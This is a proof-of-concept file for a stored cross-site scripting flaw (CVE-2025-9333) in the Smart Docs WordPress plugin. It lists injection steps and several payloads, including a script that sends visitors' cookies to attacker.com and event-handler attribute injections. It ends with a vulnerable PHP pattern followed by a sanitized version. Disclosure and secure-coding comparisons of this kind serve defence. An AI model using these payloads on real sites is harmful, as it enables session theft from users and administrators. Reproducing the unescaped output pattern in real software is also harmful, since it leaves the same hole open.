<!-- PoC for CVE-2025-9333 - Smart Docs Stored XSS This PoC demonstrates how an authenticated administrator can inject malicious JavaScript through the plugin's admin settings. --> <!-- Step 1: Attacker navigates to Smart Docs plugin admin settings page --> <!-- Step 2: In the vulnerable input field (e.g., document title, description, or settings field), inject the following payload: --> <script>alert(document.cookie);</script> <!-- Alternatively, a more sophisticated payload for cookie theft: --> <script> var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; </script> <!-- Or using event handlers in input fields: --> " onmouseover="alert('XSS')" autofocus onfocus="alert(document.domain)" <!-- Step 3: Save the settings - the malicious payload is stored in the database Step 4: When any user (including other admins) views the affected page, the script executes in their browser context --> <?php // Example of vulnerable code pattern (not actual plugin code): // The following pattern demonstrates the missing sanitization: // VULNERABLE: No sanitization or escaping $setting_value = $_POST['smart_docs_setting']; update_option('smart_docs_option', $setting_value); // Later when rendered: echo '<div>' . get_option('smart_docs_option') . '</div>'; // SECURE: Proper sanitization and escaping $setting_value = sanitize_text_field($_POST['smart_docs_setting']); update_option('smart_docs_option', $setting_value); // Later when rendered: echo '<div>' . esc_html(get_option('smart_docs_option')) . '</div>'; ?>
